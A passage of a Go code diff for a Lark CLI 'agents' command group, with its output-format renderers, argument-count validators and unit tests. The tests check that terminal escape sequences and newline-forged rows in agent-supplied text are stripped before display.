// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
// RunE) with list/get/delete leaves.
func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
cmd := NewCmdAgentContext(nil)
if cmd.RunE != nil || cmd.Run != nil {
t.Error("agents context group should not have RunE")
}
want := []string{"list", "get", "delete"}
for _, name := range want {
if findSub(cmd, name) == nil {
t.Errorf("missing subcommand context %s", name)
}
}
}
// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
// the default flip: --format defaults to json.
func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
cmd := NewCmdAgentContextList(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("context list missing ref should report an argument error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("context list with a single ref should be valid: %v", err)
}
fl := cmd.Flags().Lookup("format")
if fl == nil || fl.DefValue != "json" {
t.Errorf("context list --format default should flip to json, got %+v", fl)
}
}
// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
// the added --format / --jq flags.
func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
cmd := NewCmdAgentContextGet(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
}
if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
t.Errorf("context get ref+ctx-id should be valid: %v", err)
}
for _, name := range []string{"format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("context get should have a --%s flag", name)
}
}
}
// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
cmd := NewCmdAgentContextDelete(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
}
if cmd.Flags().Lookup("yes") == nil {
t.Error("context delete should have a --yes flag")
}
for _, name := range []string{"format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("context delete should have a --%s flag", name)
}
}
}

272
cmd/agents/format.go Normal file
View File

@@ -0,0 +1,272 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// This file holds the --format surface shared by every agent leaf: value
// validation, the pretty renderers (task key:value view, list
// header-TSV views) with ANSI stripping for agent-controlled text, and the
// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
// validation error carrying a 用法 hint.
package agents
import (
"fmt"
"io"
"strings"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/validate"
)
// formatFlagHelp is the uniform --format help text across every agent leaf
// (json is the tree-wide default, pretty the human opt-in).
const formatFlagHelp = "output format: json (default) | pretty"
// validateFormat rejects any --format outside json|pretty as a
// validation/invalid_argument error (exit 2). The empty string is accepted for
// options structs built directly in tests; the registered flag default is
// "json" so a CLI invocation never passes "".
func validateFormat(format string) error {
switch format {
case "", "json", "pretty":
return nil
}
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"不支持的 --format 值 %q", format).
WithParam("--format").
WithHint("合法值: json | pretty")
}
// stripANSI sanitizes agent-controlled text before it is written raw to a
// terminal by a pretty renderer, preventing terminal escape-sequence injection.
// It delegates to validate.SanitizeForTerminal, which is a superset of the
// mandated CSI regex:
// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
// Unicode. JSON output paths must NOT use this — programmatic consumers get
// the raw data.
func stripANSI(s string) string {
return validate.SanitizeForTerminal(s)
}
// kvValue sanitizes an agent-controlled value for a single-line "key: value"
// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
// SanitizeForTerminal deliberately preserves those, so without this a value
// like "done\nstate: completed" would forge an adjacent field row. TSV
// renderers keep plain stripANSI under their documented no-escape exemption.
func kvValue(s string) string {
s = stripANSI(s)
s = strings.ReplaceAll(s, "\n", " ")
return strings.ReplaceAll(s, "\t", " ")
}
// truncateRunes caps s at max runes, appending an ellipsis when truncated.
func truncateRunes(s string, max int) string {
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max]) + "…"
}
// firstTextOf returns the first text Part carried by the task's messages
// (typically the caller's request), or "".
func firstTextOf(task *iagents.AgentTask) string {
for _, m := range task.Messages {
for _, p := range m.Parts {
if p.Type == "text" && p.Text != "" {
return p.Text
}
}
}
return ""
}
// lastAgentTextOf returns the last agent-authored text Part — the task's
// current RESULT line, the same word the task-list SUMMARY column uses. The
// single-task pretty view must show the outcome, not just echo the request.
func lastAgentTextOf(task *iagents.AgentTask) string {
for i := len(task.Messages) - 1; i >= 0; i-- {
if task.Messages[i].Role != "agent" {
continue
}
for _, p := range task.Messages[i].Parts {
if p.Type == "text" && p.Text != "" {
return p.Text
}
}
}
return ""
}
// printTaskPretty renders the task-class pretty view: line-per-field
// key: value with state / task_id / context_id / first text message truncated
// to 120 runes / artifacts count. Every agent-controlled string goes through
// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
// terminal sequences nor forge an adjacent field row.
func printTaskPretty(w io.Writer, task *iagents.AgentTask) {
if task == nil {
fmt.Fprintln(w, "(no task)")
return
}
fmt.Fprintf(w, "state: %s\n", kvValue(string(task.State)))
fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
if task.ContextID != "" {
fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
}
if req := firstTextOf(task); req != "" {
fmt.Fprintf(w, "request: %s\n", truncateRunes(kvValue(req), 120))
}
if reply := lastAgentTextOf(task); reply != "" {
fmt.Fprintf(w, "reply: %s\n", truncateRunes(kvValue(reply), 120))
}
fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
// input_required question group: group headline, then numbered questions
// with their answer form and options. Every field is agent-controlled, so
// all go through kvValue.
if ir := task.InputRequired; ir != nil {
head := ir.Label
if head != "" && ir.Description != "" {
head += " — " + ir.Description
} else if head == "" {
head = ir.Description
}
if head == "" && len(ir.Questions) == 1 {
// single untitled question: headline IS the question, no numbering.
q := ir.Questions[0]
fmt.Fprintf(w, "input_required: %s%s\n", truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
printOptionsPretty(w, " ", q.Options)
return
}
fmt.Fprintf(w, "input_required: %s\n", truncateRunes(kvValue(head), 120))
for i, q := range ir.Questions {
fmt.Fprintf(w, " [%d] %s%s\n", i+1, truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
printOptionsPretty(w, " ", q.Options)
}
}
}
// questionKindSuffix annotates a question row with its answer form: free text
// or multi-select (a plain single-select needs no annotation — options below it
// say enough).
func questionKindSuffix(q iagents.Question) string {
if len(q.Options) == 0 {
return "(自由文本)"
}
if q.MultiSelect {
return "(可多选)"
}
return ""
}
// printOptionsPretty renders one "id: label — description" row per option under
// the given indent; every field is agent-controlled and goes through kvValue.
func printOptionsPretty(w io.Writer, indent string, opts []iagents.Option) {
for _, o := range opts {
row := fmt.Sprintf("%s: %s", kvValue(o.OptionID), kvValue(o.Label))
if o.Description != "" {
row += " — " + kvValue(o.Description)
}
fmt.Fprintf(w, "%s%s\n", indent, row)
}
}
// TSV renderers below intentionally do not escape tab/newline in cell values:
// a value containing them breaks the column layout. The agent's primary
// consumption surface is json; pretty is for human inspection only, so leaving
// them unescaped is acceptable.
// printTaskSummariesTSV renders the list-class pretty view for tasks: a header
// row naming the json fields, then one row per task. Summary is agent-controlled
// text, so it is ANSI-stripped AND newline/tab-flattened via kvValue — an
// unflattened tab/newline would otherwise break the column layout; the ids keep
// plain stripANSI under the TSV no-escape exemption.
func printTaskSummariesTSV(w io.Writer, tasks []iagents.TaskSummary) {
fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY\n")
for _, t := range tasks {
fmt.Fprintf(w, "%s\t%s\t%s\t%t\t%s\t%s\n",
stripANSI(t.TaskID), stripANSI(t.ContextID), stripANSI(string(t.State)), t.IsTerminal, stripANSI(t.UpdatedAt), kvValue(t.Summary))
}
}
// printContextsTSV renders the list-class pretty view for contexts. The Title is
// agent-controlled and ANSI-stripped; AwaitingInput is the conversation-layer
// rollup used to spot which session needs attention.
func printContextsTSV(w io.Writer, contexts []iagents.ContextSummary) {
fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n")
for _, c := range contexts {
fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%t\n",
stripANSI(c.ContextID), stripANSI(c.CreatedAt), stripANSI(c.UpdatedAt), stripANSI(c.Title), c.AwaitingInput)
}
}
// printContextDetailPretty renders `context get --format pretty` as a
// conversation overview: metadata + the task_count / awaiting_input rollup, and
// — when present — a one-line digest of the active task
// (state · updated_at · summary). It deliberately does NOT expand the full task
// list (that is `agents task list --context-id`). Agent-controlled strings (Title
// and the active-task Summary) go through kvValue so they cannot forge adjacent
// field rows.
func printContextDetailPretty(w io.Writer, detail *iagents.ContextDetail) {
if detail == nil {
fmt.Fprintln(w, "(no context)")
return
}
fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
if detail.CreatedAt != "" {
fmt.Fprintf(w, "created_at: %s\n", kvValue(detail.CreatedAt))
}
if detail.UpdatedAt != "" {
fmt.Fprintf(w, "updated_at: %s\n", kvValue(detail.UpdatedAt))
}
if detail.Title != "" {
fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
}
// nil TaskCount = the provider cannot supply the count; omit the line
// rather than printing a misleading 0.
if detail.TaskCount != nil {
fmt.Fprintf(w, "task_count: %d\n", *detail.TaskCount)
}
fmt.Fprintf(w, "awaiting_input: %t\n", detail.AwaitingInput)
if at := detail.ActiveTask; at != nil {
fmt.Fprintf(w, "active_task: %s · %s · %s\n", kvValue(string(at.State)), kvValue(at.UpdatedAt), kvValue(at.Summary))
}
}
// usageHintOf builds the "用法: <command path> <positional shape>" hint from
// the executing command's Use line, so the hint never drifts from the
// registered Use string.
func usageHintOf(cmd *cobra.Command) string {
if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
}
return "用法: " + cmd.CommandPath()
}
// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
// (exit 2) whose hint carries the full usage string — cobra's bare English
// "accepts 2 arg(s), received 1" never says WHAT is missing.
func exactArgsWithUsage(n int) cobra.PositionalArgs {
return func(cmd *cobra.Command, args []string) error {
if len(args) != n {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"需要 %d 个位置参数,收到 %d 个", n, len(args)).
WithHint("%s", usageHintOf(cmd))
}
return nil
}
}
// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
// exactArgsWithUsage, for leaves with an optional positional (agents list).
func maximumArgsWithUsage(n int) cobra.PositionalArgs {
return func(cmd *cobra.Command, args []string) error {
if len(args) > n {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"最多接受 %d 个位置参数,收到 %d 个", n, len(args)).
WithHint("%s", usageHintOf(cmd))
}
return nil
}
}

450
cmd/agents/format_test.go Normal file
View File

@@ -0,0 +1,450 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"bytes"
"encoding/json"
"errors"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/output"
)
// TestPrintTaskPrettyRendersQuestionGroup pins that printTaskPretty surfaces an
// input_required question group: group headline (label — description), numbered
// questions with their answer-form annotation (自由文本 / 可多选), and
// id: label — description option rows — with all agent-controlled fields
// ANSI-stripped.
func TestPrintTaskPrettyRendersQuestionGroup(t *testing.T) {
out := &bytes.Buffer{}
printTaskPretty(out, &iagents.AgentTask{
TaskID: "task_1", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{
Label: "报表生成确认",
Description: "生成前需确认\x1b[2J口径",
Questions: []iagents.Question{
{QuestionID: "q1_a8", Question: "按什么维度拆分?", Options: []iagents.Option{
{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
{OptionID: "by_category", Label: "按品类"},
}},
{QuestionID: "q2_a8", Question: "时间范围?"},
{QuestionID: "q3_a8", Question: "包含哪些区域?", MultiSelect: true, Options: []iagents.Option{
{OptionID: "east", Label: "华东"},
}},
},
},
})
text := out.String()
for _, want := range []string{
"input_required: 报表生成确认 — 生成前需确认",
"[1] 按什么维度拆分?",
"by_region: 按大区 — 华东/华北/华南汇总",
"by_category: 按品类",
"[2] 时间范围?(自由文本)",
"[3] 包含哪些区域?(可多选)",
"east: 华东",
} {
if !strings.Contains(text, want) {
t.Errorf("pretty task should render question-group part %q, got:\n%s", want, text)
}
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI in group text must be stripped, got %q", text)
}
// A single untitled question renders as the headline itself — no numbering.
out.Reset()
printTaskPretty(out, &iagents.AgentTask{
TaskID: "task_2", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
{QuestionID: "q1_b2", Question: "请补充时间范围"},
}},
})
single := out.String()
if !strings.Contains(single, "input_required: 请补充时间范围(自由文本)") {
t.Errorf("single untitled question should be the headline, got:\n%s", single)
}
if strings.Contains(single, "[1]") {
t.Errorf("single question must not be numbered, got:\n%s", single)
}
}
// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
// only occurs when options structs are built directly in tests) pass.
func TestValidateFormat_Valid(t *testing.T) {
for _, f := range []string{"", "json", "pretty"} {
if err := validateFormat(f); err != nil {
t.Errorf("format %q should be valid: %v", f, err)
}
}
}
// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
// validation/invalid_argument error (exit 2) whose hint lists the legal values
// and whose param names the flag with the -- prefix.
func TestValidateFormat_Invalid(t *testing.T) {
err := validateFormat("yaml")
if err == nil {
t.Fatal("--format yaml should error (currently silently treated as json)")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
if !strings.Contains(p.Hint, "json | pretty") {
t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--format" {
t.Errorf("param should be --format, got %+v", verr)
}
}
// agentRootTree builds `lark-cli agents ...` as production wires it (root Use
// lark-cli), with a nil Factory: format validation must fire at the RunE
// entry, before any Factory access.
func agentRootTree() *cobra.Command {
root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
root.AddCommand(NewCmdAgents(nil))
return root
}
// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
// hint, uniformly, before any provider/Factory is touched.
func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
leaves := [][]string{
{"agents", "list", "--format", "yaml"},
{"agents", "card", "example:x", "--format", "yaml"},
{"agents", "send", "example:x", "--text", "hi", "--format", "yaml"},
{"agents", "task", "get", "example:x", "t1", "--format", "yaml"},
{"agents", "task", "list", "example:x", "--format", "yaml"},
{"agents", "task", "cancel", "example:x", "t1", "--format", "yaml"},
{"agents", "context", "list", "example:x", "--format", "yaml"},
{"agents", "context", "get", "example:x", "c1", "--format", "yaml"},
{"agents", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
}
for _, argv := range leaves {
t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs(argv)
err := root.Execute()
if err == nil {
t.Fatalf("%v should report a --format validation error", argv)
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T: %v", err, err)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "json | pretty") {
t.Errorf("hint should contain json | pretty, got %+v", p)
}
})
}
}
// TestFormatHelpTextUniform pins the mandated uniform help text
// "output format: json (default) | pretty" across every leaf that has --format.
func TestFormatHelpTextUniform(t *testing.T) {
cmds := map[string]*cobra.Command{
"list": NewCmdAgentList(nil),
"card": NewCmdAgentCard(nil),
"send": NewCmdAgentSend(nil, nil),
"task get": NewCmdAgentTaskGet(nil),
"task list": NewCmdAgentTaskList(nil),
"task cancel": NewCmdAgentTaskCancel(nil),
"context list": NewCmdAgentContextList(nil),
"context get": NewCmdAgentContextGet(nil),
"context delete": NewCmdAgentContextDelete(nil),
}
for name, cmd := range cmds {
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Errorf("%s should have a --format flag", name)
continue
}
if fl.DefValue != "json" {
t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
}
if fl.Usage != "output format: json (default) | pretty" {
t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
}
}
}
// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
// all removed before agent text reaches a terminal.
func TestStripANSI(t *testing.T) {
for _, tt := range []struct{ in, want string }{
{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
{"a\x1bb", "ab"}, // bare ESC
{"t\x1b]0;evil\x07x", "tx"},
{"clean 文本", "clean 文本"},
} {
if got := stripANSI(tt.in); got != tt.want {
t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
}
}
}
// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
// key: value with state / task_id / context_id / first text message truncated
// to 120 runes / artifacts count — and the agent-controlled text stripped of
// ANSI escapes.
func TestPrintTaskPretty(t *testing.T) {
long := strings.Repeat("字", 130)
task := &iagents.AgentTask{
TaskID: "chat_1",
ContextID: "sess_1",
State: iagents.StateCompleted,
Messages: []iagents.Message{{
Role: "agent",
Parts: []iagents.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
}},
Artifacts: []iagents.Artifact{{ID: "a1"}, {ID: "a2"}},
}
out := &bytes.Buffer{}
printTaskPretty(out, task)
text := out.String()
for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
}
if strings.Contains(text, long) {
t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
}
if !strings.Contains(text, strings.Repeat("字", 120)) {
t.Errorf("body should keep the first 120 chars, got:\n%s", text)
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
// fix: agent text containing newlines must not be able to fake an adjacent
// field row ("done\nstate: completed") — \n/\t in single-line values collapse
// to spaces, so exactly one state: line exists.
func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
task := &iagents.AgentTask{
TaskID: "chat_1",
State: iagents.StateFailed,
Messages: []iagents.Message{{
Role: "agent",
Parts: []iagents.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
}},
}
out := &bytes.Buffer{}
printTaskPretty(out, task)
var stateLines int
for _, line := range strings.Split(out.String(), "\n") {
if strings.HasPrefix(line, "state: ") {
stateLines++
}
}
if stateLines != 1 {
t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
}
if !strings.Contains(out.String(), "state: failed") {
t.Errorf("the real state line should remain, got:\n%s", out.String())
}
if !strings.Contains(out.String(), "reply: done state: completed ok") {
t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
}
}
// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
// the context title row.
func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
out := &bytes.Buffer{}
printContextDetailPretty(out, &iagents.ContextDetail{
ContextID: "sess_1",
Title: "标题\ncontext_id: forged",
})
var idLines int
for _, line := range strings.Split(out.String(), "\n") {
if strings.HasPrefix(line, "context_id: ") {
idLines++
}
}
if idLines != 1 {
t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
}
}
// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
func TestPrintTaskPretty_NilTask(t *testing.T) {
out := &bytes.Buffer{}
printTaskPretty(out, nil)
if out.Len() == 0 {
t.Error("nil task should print a placeholder line")
}
}
// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
// naming the json fields (now including UPDATED_AT + SUMMARY), then one
// tab-separated row per task. Summary is agent-controlled, so it is
// ANSI-stripped AND newline/tab-flattened via kvValue.
func TestPrintTaskSummariesTSV(t *testing.T) {
out := &bytes.Buffer{}
printTaskSummariesTSV(out, []iagents.TaskSummary{
{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-05T12:00:00Z", Summary: "分析\n完成\x1b[0m"},
})
lines := strings.Split(strings.TrimSpace(out.String()), "\n")
if len(lines) != 2 {
t.Fatalf("should have a header + 1 data row, got %q", out.String())
}
if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY" {
t.Errorf("header columns should match the json field names, got %q", lines[0])
}
// Summary: ANSI escape stripped, newline flattened to a space.
if lines[1] != "chat_1\tsess_1\tcompleted\ttrue\t2026-07-05T12:00:00Z\t分析 完成" {
t.Errorf("data row mismatch, got %q", lines[1])
}
}
// TestPrintContextsTSV pins the context-list pretty spec: header row (now
// carrying the UPDATED_AT / AWAITING_INPUT rollup columns — no TASK_COUNT,
// which is a `context get` field) plus rows, with the agent-controlled Title
// stripped of ANSI escapes.
func TestPrintContextsTSV(t *testing.T) {
out := &bytes.Buffer{}
printContextsTSV(out, []iagents.ContextSummary{
{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", UpdatedAt: "2026-07-05T12:00:00+08:00",
Title: "\x1b[2J销售分析", AwaitingInput: true},
})
text := out.String()
if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
t.Errorf("should have a header row with the rollup columns, got %q", text)
}
if !strings.Contains(text, "销售分析") {
t.Errorf("should contain the title text, got %q", text)
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in Title must be stripped: %q", text)
}
// The awaiting_input rollup directly trails the title — no TASK_COUNT column
// in between.
if !strings.Contains(text, "销售分析\ttrue\n") {
t.Errorf("should carry the awaiting_input rollup right after the title, got %q", text)
}
}
// TestPrintContextDetailPretty pins the context-get pretty rendering as a
// conversation overview: metadata + the task_count / awaiting_input rollup and
// a one-line active_task digest — NOT a full tasks[] list (that is `agents task
// list --context-id`). Title and the active-task Summary are agent-controlled,
// so both are ANSI-stripped + newline-flattened.
func TestPrintContextDetailPretty(t *testing.T) {
out := &bytes.Buffer{}
printContextDetailPretty(out, &iagents.ContextDetail{
ContextID: "sess_1",
CreatedAt: "2026-07-05T10:00:00+08:00",
UpdatedAt: "2026-07-05T12:00:00+08:00",
Title: "\x1b[31m分析\x1b[0m",
TaskCount: iagents.Int(2),
AwaitingInput: true,
ActiveTask: &iagents.TaskSummary{
TaskID: "chat_2", State: iagents.StateInputRequired,
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供\n季度\x1b[0m",
},
})
text := out.String()
for _, want := range []string{
"context_id: sess_1", "updated_at: 2026-07-05T12:00:00+08:00", "title: 分析",
"task_count: 2", "awaiting_input: true", "active_task: input_required",
} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
// active-task Summary: newline flattened to a space.
if !strings.Contains(text, "请提供 季度") {
t.Errorf("active_task summary should be ANSI-stripped + newline-flattened, got:\n%s", text)
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences must be stripped: %q", text)
}
// The full task enumeration must NOT appear here anymore.
if strings.Contains(text, "tasks:") {
t.Errorf("context get should no longer render a tasks[] list, got:\n%s", text)
}
// nil TaskCount = the provider cannot supply the count: the line is omitted
// instead of printing a misleading 0.
out.Reset()
printContextDetailPretty(out, &iagents.ContextDetail{ContextID: "sess_2"})
if strings.Contains(out.String(), "task_count") {
t.Errorf("a nil TaskCount should omit the task_count line, got %q", out.String())
}
}
// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
// built from the real command path + Use shape, so the caller learns what is
// missing instead of cobra's bare "accepts 2 arg(s)".
func TestExactArgsUsageHint(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs([]string{"agents", "task", "get", "example:x"}) // missing task-id
err := root.Execute()
if err == nil {
t.Fatal("task get with a single argument should error")
}
if !errs.IsValidation(err) {
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents task get <agent_ref> <task-id>") {
t.Fatalf("hint should contain the usage string, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
}
// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
// (`agents list [scheme]`).
func TestMaximumArgsUsageHint(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs([]string{"agents", "list", "example", "extra"})
err := root.Execute()
if err == nil {
t.Fatal("list with more than 1 positional argument should error")
}
if !errs.IsValidation(err) {
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents list [scheme]") {
t.Fatalf("hint should contain the usage string, got %+v", p)
}
}

274
cmd/agents/list.go Normal file
View File

@@ -0,0 +1,274 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"fmt"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// providerInfo describes a registered provider adapter in `agents list` output.
// Every field is sourced from the registered iagents.Provider (the single
// source of truth).
type providerInfo struct {
Scheme string `json:"scheme"`
Label string `json:"label"`
AgentRefFormat string `json:"agent_ref_format"`
Kind string `json:"kind"`
AgentIDSource string `json:"agent_id_source"`
// ListParams documents the business parameters `agents list <scheme>` itself
// takes — surfaced HERE (the offline, always-reachable provider listing)
// because at list time the caller holds no agent_ref yet, so a card-based
// hint would point at an unreachable road.
ListParams []iagents.CardParam `json:"list_parameters,omitempty"`
}
// listOptions holds all inputs for `agents list [scheme]`.
type listOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Scheme string
Params []string
Format string
As string
PageSize int
PageToken string
}
// NewCmdAgentList builds `agents list [scheme]`. Without an argument it
// enumerates the registered provider adapters with their metadata — a
// pure, API-free listing. With a scheme it performs second-level discovery:
// catalog providers enumerate offline from their static set; instance providers
// enumerate via their optional ListAgents hook (absent ⇒ unsupported_capability
// with the agent_id_source guidance). Risk=read.
func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
opts := &listOptions{Factory: f}
cmd := &cobra.Command{
Use: "list [scheme]",
Short: "List registered agent providers, or enumerate the agents under one provider",
Long: "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
Args: maximumArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
if err := validatePageSize(opts.PageSize); err != nil {
return err
}
opts.Cmd = cmd
if len(args) == 1 {
opts.Scheme = args[0]
}
return agentListRun(opts)
},
}
// --page-size / --page-token apply only to the instance enumeration path
// (prov.ListAgents); the offline catalog listing and the no-scheme provider
// listing ignore them.
addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
// --as only matters for the online `list <scheme>` enumeration (an instance
// provider's ListAgents call); the no-scheme provider listing is offline and
// identity-independent, so it ignores --as.
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// agentListRun dispatches `agents list [scheme]`: with a scheme it lists that
// provider's agents (second-level discovery); without it renders the provider
